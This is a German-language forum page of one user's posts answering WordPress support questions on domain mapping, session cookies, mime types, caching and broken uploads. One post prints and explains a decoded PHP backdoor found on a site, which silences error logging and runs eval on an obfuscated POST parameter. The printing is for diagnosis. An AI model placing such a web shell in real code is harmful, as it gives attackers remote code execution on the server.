Beiträge von codestyling

Unter der Annahme, das englisch für dich keine Hürde darstellt, wäre dieser Artikel passend zu deinen Bedürfnissen: http://rtcamp.com/tutorials/word…-mapping-guide/

Ob nun Sub-Dir oder Sub-Domain ist für Domainmapping nicht relevant.
Am Beispiel dessen, was du machen möchtest, würde das in etwa so aussehen:

Hauptdomain: xyz.de
1. Sub-Domain: sub1.xyz.de anlegen
2. Sub-Domain: sub2.xyz.de anlegen

Domainmapping nach Beschreibung einrichten.

Danach als Site Admin unter Domainmapping die zu mappended Domain als Primärdomain des entsprechenden Sub-Domain zuweisen.
Die zu mappended Domain ebenfalls auf die xyz.de Hauptdomains verweisen lassen.

Danach sollte die Sub-Domain über die gemappte Domain benutzbar sein.

Ich hab das bei mir als must-use Plugin im Order /wp-content/mu-plugins/ als protect-posts-by-session-cookies.php liegen mit folgendem Inhalt:

<?php 
/*
Plugin Name: Protected Article with Session Cookie
Description: redefines the WordPress protected article cookies as session cookies, requires WordPress 3.5.
Author: Heiko Rabe
Version: 1.0
*/
function apasc_session_cookie() {
    //method content is from wp-login.php
    if ( empty( $wp_hasher ) ) {
        require_once( ABSPATH . 'wp-includes/class-phpass.php' );
        // By default, use the portable hash from phpass
        $wp_hasher = new PasswordHash(8, true);
    }


    // session cookie (0) instead of default 10 days
    setcookie( 'wp-postpass_' . COOKIEHASH, $wp_hasher->HashPassword( stripslashes( $_POST['post_password'] ) ), 0, COOKIEPATH );


    wp_safe_redirect( wp_get_referer() );
    exit();
}
add_action('login_form_postpass', 'apasc_session_cookie');

Sollte mit Wordpress >= 3.4 (bei mir mit 3.5 im Einsatz) funktionieren.
Damit wird das post password zum Session Cookie und ist mit dem Schliessen des Browsers wieder weg.

... und warum trägst du keine erreichbare email Adresses in der Datenbank für den Admin ein, rufst dann im Login-Dialog "Password vergessen" auf und lässt dir ein neues generieren ?

Multisite mit Domainmapping funktioniert nur dann gut, wenn man auch ein Plugin dazu bemüht: http://wordpress.org/extend/plugins…domain-mapping/

Ich hab es im Einsatz und auch eine an Windows XAMPP (lokale Install) angepasste Variante, die mir es unter Windows ermöglicht, Subdomains in meiner lokalen Umgebung zu haben und diese auch mappen zu können.

Decodiert heißt das dann:

@error_reporting(0); 
@ini_set("display_errors",0); 
@ini_set("log_errors",0); 
@ini_set("error_log",0);
if (isset($_GET['r'])) {
    print $_GET['r']; 
} elseif (isset($_POST['e'])) {
    eval(base64_decode(str_rot13(strrev(base64_decode(str_rot13($_POST['e'])))))); 
} exit;

Ein brauchbarer Decoder ist: http://www.mobilefish.com/services/eval_…late_base64.php

Es werden 2 Input Parameter interpretiert:

GET Aufruf: Parameter 'r' (vermutlich ein Test, ob das hier installiert ist)
POST Aufruf: Parameter 'e', der weiteren codierten Inhalt bekommt, der ausgepackt und ausgeführt wird.

Also ein Backdoor.

Rechts oben auf der Widgets Seite gibt es den Reiter "Optionen". Wenn du dort draufklickst, bekommst du den Zugriff auf den "Zugänglichkeitsmodus". Wenn dieser eingeschaltet ist, dann gibt es kein Drag 'n Drop sondern nur Hinzufügen, also alles ganz ohne Javascript. Diesem Modus kannst du mit dem dort angezeigten Link ein- und ausschalten.

Sobald der Modus aus ist, geht auch wieder Drag 'n Drop.

[COLOR=#000000][COLOR=#0000BB]$default_charset[/COLOR][COLOR=#007700]=[/COLOR][COLOR=#DD0000]"Windows-1251"[/COLOR][COLOR=#007700][/COLOR][/COLOR]

Das weißt darauf hin, dass die Angriffe aus dem russisch sprachigen Raum kommen, denn dieser Charset ist kyrillisch. Wenn möglich und du auf den russischsprachigen Sektor verzichten kannst, würde ich die passenden IP Ranges in der .htaccess sperren.

Muß nicht zwangsläufig memory_limit sein, auch wenn das sehr verdächtig bei Multisite Installation danach aussieht.

Wenn PHP >= 5.4 ist, der Provider STRICT Errormeldungen nicht wegkonfiguriert hat und bbeim ersten Auftreten eines PHP Errors abbricht, dann produzieren die Sprachdateien einen STRICT Error.
Der WordPress core hat ein STRICT Problem beim Laden von Sprachdateien und seit PHP 4.5 ist STRICT standardmäßig an.
Dieses Problem hatt ich schon in "real live" Systemen und konnte das nur durch eine Ergänzung in der wp-config.php unterbinden:

error_reporting( 0 );

Wieso ist uploads bei dir mit Großbuchstaben?
Unix unterscheidet zwischen Groß- und Kleinschreibung. Ggf. will WP nach uploads verschieben und kann es nicht, weil es bei dir Uploads heißt?

Ist der Server ein Unix basierter Server oder ein Windows basierter?

Laut REST Client Anfrage sendet dein Server die Datei mit dem falschen Mime-Type raus:

text/plain

Es müsste aber mit dem Mime-Type:

video/webm

gesendet werden.

Entweder hat dein Provider das nicht in der Mimetype Liste und du musst es per .htaccess Datei deinem Webspace beibringen:

AddType video/webm .webm

oder du versuchst es erstmal mit einer klein geschriebenen Endung in der Hoffnung, dass dein Provider das mit der regulären, klein geschriebenen Endung richtig ausliefert.

Firefox spielt die nicht ab, wenn sie mit dem falschen Mime-Type ankommen!

Dann taugt dein Provider leider gar nix, denn safe mode wird es mit PHP 5.4 nicht mehr geben: http://php.net/manual/de/features.safe-mode.php

Wenn das die Datei im Verzeichnis /wp-admin/admin.php sein soll, dann ist die überschrieben worden mit der Datei aus /wp-admin/user/admin.php und somit falsch.
Kann es sein, das beim Aufspielen von WordPress keine Unterverzeichnisse unter /wp-admin/ angelegt wurden?
Entweder hast das Entpacken alles in einen Ordner entpackt, du hast das per FTP ohne Ordneranlage hochladen lassen oder es ist sonst irgendwie kaputt gegangen.

Nimm Filezilla FTP Client, verbinde dich mit deinem Server, lösche die Ordner /wp-admin/ und /wp-include/ und lade beide wieder per FTP aus einem zuvor auf deinen Rechner entpackten WordPress3.5.1 zip hoch.

Mir sind Probleme bekannt, wenn man URL's oder Server-Pfadangaben auf Unix-Servern mit Capitalized Letters benutzt, wie die es ja offensichlich machst:

[URL]http://www.Gitarre-und-Laute.de[/URL].

Sollten deine Ordner auf dem Server auch mit Groß- und Kleinschrebung sein, gibt es manchmal Probleme bei Uploads oder Updates, weil die entsprechenden Funktionen u.U. mit lowercased Pfaden oder URL's arbeiten, was dann zum Fehler führt.

Auch st mir bekannt, das Webkit bzw. Opera unter solchen Umständen json basierte Anfragen ablehnt, weil es die Groß-/Kleinschreibung als Verstoß gegen die "same origin policy" versteht.

Wenn möglich, teste das mal mit verschiedenen Browsern. Ich würde URL's und Pfade grundsätzlich nur lowercase benutzen, damit ist das minimalste Risiko verbunden und man muß nicht nach Gespenstern im code suchen.

Zitat von LuLuDis.com

Ich habe noch keinen Ruf hier da ich bislang weder Aufträge hier ausgeführt habe noch irgendwelche Kontakte hatte, ausser natürlich mit den Herren, die hier Langeweile habe und irgendwelche Gerüchte in die Welr setzen.

Dazu kann ich nix sagen, aber die Angebote zum WebHosting auf der verlinkten Seite sind noch nicht mal in der Lage, in der Selectbox das richtige Encoding zu benutzen:

<select name="id[221]"><option value="230">Domain(s) sp�ter w�hlen</option>

... das weckt großes Vertrauen in mögliche Auftragsergebnisse, wenn die Providerseite selbst Mängel hat ...

Das sieht nach einer IPv6 Addresse aus. Kann der Server auch IPv4?
Denn es könnte sein, das es Probleme mit dem Zugriff mittels IPv6 Addressen gibt.

</body> 
</html> 
<!-- Dynamic page generated in 0.765 seconds. --> 
<!-- Cached page generated by WP-Super-Cache on 2013-01-26 01:39:00 -->  
<!-- Compression = gzip -->

Dein Feed antwortet mit einer PHP Compression einer HTML Seite per WP-Super-Cache.
Ich würde den Cache löschen lassen als erstes. Wenn das nicht hilft, Super Cache ausschalten.

Hast du ein Caching Plugin installiert und den Cache nicht gelöscht, als du ein Update auf eine neuere Version (entweder vom Cache Plugin selbst oder von WordPress selbst) gemacht hast?

Wenn du echte Domains auf Subdomains/Subfolder einer Multisite-Installation mappen willst, brauchst du als Unterstützung ein Domainmapping Plugin als must-use Plugin: http://wordpress.org/extend/plugins…domain-mapping/
Bitte sorgfältig die Einrichtung und benötigten Schritte beachten.